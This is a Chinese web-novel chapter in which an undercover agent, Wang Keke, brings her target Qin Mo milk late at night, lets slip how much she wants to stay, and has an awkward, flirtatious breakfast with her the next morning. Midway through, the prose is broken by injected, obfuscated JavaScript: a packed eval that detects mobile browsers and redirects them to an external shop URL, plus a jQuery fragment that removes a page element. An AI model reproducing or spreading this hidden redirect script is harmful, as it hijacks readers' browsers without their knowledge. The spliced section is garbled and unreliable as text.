秦墨有一个习惯，王可可观察了很久才确定下来。
每天晚上，无论多晚回来，秦墨都会在书房里再坐上一段时间。有时候是处理带回来的文件，有时候是开跨国视频会议，有时候只是一个人坐在那里看电脑，一杯水从热放到凉，最后原封不动地端回厨房。王可可住进别墅的第二周，就开始注意到这个规律了。她晚上起来喝水，每次经过二楼，都能看见书房的门缝底下透出一线光。那光很细，像有人在深夜里点了一盏不为任何人亮着的灯。
王可可起初没当回事。秦墨是L集团的老板，忙是应该的。电视里那些霸总不都这样吗，白天开不完的会，晚上批不完的文件，一天只睡四个小时，第二天照样精神抖擞。王可可觉得秦墨大概就是那种不用睡觉的人。可随着时间的推移，她发现事情好像不是这么回事。秦墨第二天七点半出门时的脸色，越来越白。有时候吃早餐，她会先喝两口黑咖啡，然后才拿筷子。王可可坐在她对面，看见她眼下浮着一层很淡的青色，像用最细的毛笔描上去的，不仔细看根本察觉不到。但王可可察觉到了。她这个人，大事情上总是很迟钝，小细节上却有种近乎本能的敏锐。她发现秦墨左手的虎口处有时候会按着太阳穴，尤其是早上从书房出来后那几分钟。她发现秦墨的咖啡越喝越浓，管家给她准备的早餐她却越吃越少。王可可把这些都看在眼里，心里渐渐涌起一股说不清道不明的不舒服。那感觉像有根小刺卡在喉咙里，不疼，但一直存在。
她开始每天晚上留意二楼的灯光。如果到了凌晨一点，那道光还在，她就会在床上翻来覆去，像自己也跟着睡不着一样。她说不清自己在担心什么，只是觉得秦墨那样的人，白天已经那么累了，晚上还要把自己关在书房里熬到那么晚，身体迟早会出问题。可她又觉得自己没立场说这些。她是什么人？秦墨的俘虏，一个被关在家里白吃白住的人。她有什么资格去管人家的作息？秦墨就算每天只睡两个小时，那也是她自己的事。王可可一遍遍地这样告诉自己，可她的脚步还是会在夜里不知不觉地走到二楼。
第一次去书房，是住进来的第十天。那天秦墨回来得特别晚，将近十一点才到家。王可可本来已经躺下了，听见楼下的动静，又坐了起来。她等了一个多小时，二楼的灯还是亮着。她终于忍不住，穿着拖鞋下了楼。经过楼梯转角的时候，她看见秦墨坐在书桌前，微微低着头，一只手撑着额角，另一只手在键盘上敲着什么。屏幕上密密麻麻全是英文，王可可只扫了一眼就觉得脑仁疼。秦墨的衬衫领口解开了一颗扣子，袖子卷到小臂中段，手腕上露出一截冷白色的皮肤。台灯的光从侧面打过去，把她的影子投在身后的书架上，黑而长，像一株无声的植物。王可可站在门口，看了一会儿，终究没有敲门。她悄悄地退回了楼上。
第二天晚上，她给自己煮了杯牛奶。她不会用那台意式咖啡机，就用了最简单的方法——把盒装牛奶倒进杯子里，放进微波炉热了两分钟。牛奶从微波炉里拿出来时，杯壁烫得她直甩手。她找了块抹布垫着，小心翼翼地端着，下了二楼。这次她敲门了。三下，轻轻的。
“进。”秦墨的声音从里面传出来，低而清醒，没有半分倦意。
王可可推开门，先探进半个脑袋。秦墨抬头看见她，似乎有些意外，眉头极轻地挑了一下。王可可走进去，把牛奶放在书桌上，杯底和桌面相碰，发出“叩”的一声。她往后退了半步，把手背到身后，像做了一件需要邀功的事。
“你每天睡那么少，会猝死的。”王可可说。她努力让自己的语气听起来很硬，像朋友之间的随口吐槽。但她的眼神不太敢直视秦墨，只能把目光落在牛奶杯上。
秦墨看了看那杯牛奶，又抬头看她。她的表情很淡，像在消化这句话里到底有多少分真心。然后她说：“你是在担心我？”
王可可的心跳猛地快了一下。她飞快地说：“我是怕你猝死了，没人给我发工资。”
秦墨的嘴角动了动，像看穿了她：“你的工资是公司发的，和我个人没关系。”
王可可被堵了一下，脸上微微发红。她嘴硬道：“那、那我怕没人给我做饭！”
“家里有厨师。”秦墨说，语气里多了一点玩味，“还有两个。”
王可可急了。她发现秦墨这人有一种能把所有话都聊死的能力，你递出去的每一个台阶，她都能拆得干干净净，然后站在原地看着你在半空中乱扑腾。她瞪着秦墨，嘴巴张了又合，脑子像被放在油锅上煎。她承认自己来送牛奶的理由确实站不住脚，可她就是来了。她就是看见灯亮着，心里就像有只小猫在挠，怎么都躺不住。她总不能说“我一个人睡不着，想下来看看你”吧？那还不如直接让她从二楼阳台再摔一次。
“你……”王可可憋了半天的气，终于脱口而出，“我是怕你死了，我就没有理由继续住在这里了！”
空气突然安静了下来。连空调出风口那点细微的嗡鸣都变得格外清晰。王可可站在书桌前，胸膛微微起伏，像是刚跑完一段路。她知道自己说了什么。那个句子像一颗她没能兜住的石子，从嘴里滚出来，砸在两个人中间的地板上，滚了几圈，然后停住了。
秦墨没有动。她坐在椅子里，微微仰着头看王可可。台灯的光从侧面照过来，把她的半张脸照得极白，另外半张隐在阴影里，看不到表情。王可可的心脏在胸腔里擂鼓一样地响，她甚至能听见自己太阳穴上的血管在突突地跳。她想说点什么把这句话收回去，可话已经出口，像泼出去的水，收不回来了。她甚至不敢看秦墨的眼睛。她盯着那杯牛奶，觉得那杯牛奶真可怜，被自己端来端去，还要当这场尴尬的见证者。
过了很久，久到王可可觉得自己可能已经站成了一座雕像，秦墨动了。她低下头，摘下眼镜，放在桌上。她的动作很慢，像在给彼此一点缓冲的时间。没有了眼镜的遮挡，她的脸看起来清瘦而疲倦，眉心有一道很浅的竖纹，是常年皱眉留下的痕迹。她揉了揉眉心，然后重新靠在椅背上，用一种王可可从没听过的、软得几乎不像她的语气问：“所以，你想继续住在这里？”
王可可像是被谁点了穴。她张了张嘴，却没发出声音。她想说“我没有”，想说“你听错了”，想说“我明天就走”，可这些话全堵在喉咙里，一个字都说不出来。因为她发现，她好像……确实想。这个认知让她整个人都慌了。她不应该想留下的。她是特工，她有任务，她有组织。她在一个本不该有归属感的地方产生了归属感，这比她在市场上开了零单还要可怕。
“我……”她的声音发颤，像在冰面上走，“我没有！我、我只是……”
“那就住。”秦墨打断了她。她的声音不重，甚至称得上轻。但这两个字落下来，却带着一种不容商量的力量，像在签署一份只有她能决定的契约。她重新戴上眼镜，目光从镜片后透出来，重新变得清醒而锋利，可她的语气却轻得像羽毛：“多久都行。”
王可可呆住了。她看着秦墨，看着那双藏在镜片后面的眼睛。台灯的光在镜片上折出两片很小的、白色的光斑，像深夜里谁在天花板上贴的星星。王可可的鼻尖忽然一酸。她赶紧低下头，盯着自己的脚尖，拼命把那股涌上来的东西压回去。她在心里一遍遍地说：王可可，你别这样。她只是说让你住。她只是说多久都行。这不代表什么。你是一个特工，你要来杀她。你不能因为一杯牛奶和一句“多久都行”就缴械投降。你不能。可她越是这样说，心里的某个地方就塌得越厉害，像一座被水泡了太久的堤坝，终于裂开了一道口子。
“我……”她吸了吸鼻子，声音里带着一点很轻的鼻音，“我先回去了。牛奶你趁热喝。凉了容易腥。”说完，她转身朝门口走。走到门边时，又停了一下，没有回头，小声地补了一句：“你早点睡。”然后拉开门，走了出去。她的脚步声在走廊里响得很轻，轻得像怕惊扰了什么。
王可可回到房间后，把自己整个人埋进了被子里。她的脸烫得厉害，耳朵也烫得厉害。她的脑子里像开着一整支摇滚乐队，各种念头在疯狂地敲锣打鼓。她回想起自己刚才说的话，每一个字都清清楚楚地在她耳边重播。她说“我怕你死了，我就没有理由继续住在这里了”。这话太暧昧了。暧昧到王可可自己都觉得没脸听。这跟表白有什么区别？没有区别。这比表白还可怕。因为表白好歹还有一层窗户纸，她是直接把窗户拆了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920378|213443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她把脸翻过来，仰面朝天，大口喘着气。然后她开始给自己做思想建设：“等等，我刚才是不是变相表白了？不对不对，我是特工。我是来杀她的。我是一个有任务在身的人。我不能这样。我要保持清醒。我要……”她说到一半，脑子里忽然闪过秦墨摘眼镜时的样子。那两道被台灯照亮的眉骨，那道因为常年皱眉而留下的竖纹，还有那句“多久都行”从她嘴里说出来时的语气。王可可哀嚎一声，把被子拉起来蒙住了头。
“可是她的眼睛在灯光下好美。”她闷在被子里的声音，小得像在跟被子说悄悄话。然后她像被自己的话气到了，又补了一句：“王可可，你完蛋了。你真的完蛋了。”
此时此刻，二楼的秦墨坐在书桌前，看着那杯已经不再冒热气的牛奶。杯壁上还凝着一层细密的水珠，像夜晚的露水。她伸手把杯子端过来，抿了一口。奶味很浓，带着一股淡淡的甜，已经不是很热了，但也没有完全凉透。秦墨不常喝牛奶，她的胃更习惯黑咖啡和冰水。但今晚这杯奶，她喝完了。一口一口，喝得很慢。
放下杯子后，她往后靠进椅背，摘下眼镜，用指尖慢慢地揉着眼角。她的脑子里全是王可可刚才那句话。她说，我怕你死了，我就没有理由继续住在这里了。这句逻辑混乱、毫无修饰、甚至有些孩子气的话，此刻却像一根极细的针，扎进了秦墨胸口最柔软的地方。她忽然觉得有些累，不是身体上的。那种累从很早以前就在了，像一件脱不掉的外套，一直压着她的肩膀。可王可可说了那句话之后，那件外套好像被谁从肩膀上扯下来了一角。
她坐在那里，很久没动。书房里只开着一盏台灯，光线圈出一小片暖黄色。她就坐在那片光的边缘，半边身子浸在阴影里，嘴角有了一丝浅得几乎看不见的笑。
“多久都行。”她又重复了一遍，声音轻得被夜吞掉。然后她关掉台灯，拿起那杯已经空了的牛奶杯，起身走出书房。经过三楼楼梯口时，她停顿了一秒，朝上面看了一眼。黑漆漆的，什么也看不见。但她知道王可可在。那个傻乎乎的人，此刻大概又把脸埋进了被子里，正在跟自己生闷气。秦墨笑了笑，收回目光，慢慢走回自己的房间。
那一晚，秦墨没有工作到凌晨。她洗了澡，换了睡衣，躺在自己那张大得有些冷清的床上。窗帘拉了一半，月光从另一半窗户里斜斜地照进来，把她身边的空位铺成一片银白色。她侧过身，面朝窗户，眼睛半阖。那杯牛奶暖着她的胃，也暖着她很久没有松动的神经。她很快就睡着了。这是她这几个月来，入睡得最快的一次。
第二天早上，王可可难得起了个大早。她揉着眼睛下楼时，发现秦墨已经坐在餐厅里了。秦墨抬头看她，淡淡地说：“今天太阳从西边出来了。”王可可一噎，走到自己位置上坐下，小声嘟囔：“昨晚睡得早，就起得早。”秦墨说：“哦？昨晚不是送完牛奶就回房了？”王可可一僵，脸微微发红：“谁、谁给你送牛奶了？我那是自己喝完剩了半杯，看你房间亮着灯，顺手放你书房门口的。”秦墨“嗯”了一声，端起咖啡：“原来如此。那今天再剩半杯，放我书房门口就行。”王可可咬了一口包子，恨恨地说：“没有了。喝完了。”秦墨说：“哦。”但她的嘴角分明弯了一下。
管家站在旁边，给王可可添了一碗粥。他看看秦墨，又看看王可可，什么都没说，但眼角的褶子似乎深了一些。早餐在一种奇怪的、粘糊糊的气氛中结束。秦墨出门前，照例拿起包和外套。王可可突然说：“你今晚还回来吃饭吗？”秦墨站在玄关，回头看她。王可可靠在餐厅门框上，怀里抱着个靠枕，语气听上去像随口一问，眼睛却亮晶晶地看着秦墨。秦墨说：“回来。”王可可说：“那你想吃什么？我让厨房做。”秦墨说：“你不是说家里有厨师，还有两个吗。不用你安排。”王可可“啧”了一声：“我就问一句。”秦墨笑了一下，说：“都可以。你选。”
王可可目送秦墨出门。门合上的那一刻，她猛地转身，背靠着墙，把手按在心口上，那里扑通扑通的，像装了一只活蹦乱跳的兔子。她觉得自己真的病得不轻了。可她又想，就这样病着吧。至少现在，她想不出来有什么比这更让人欢喜的事。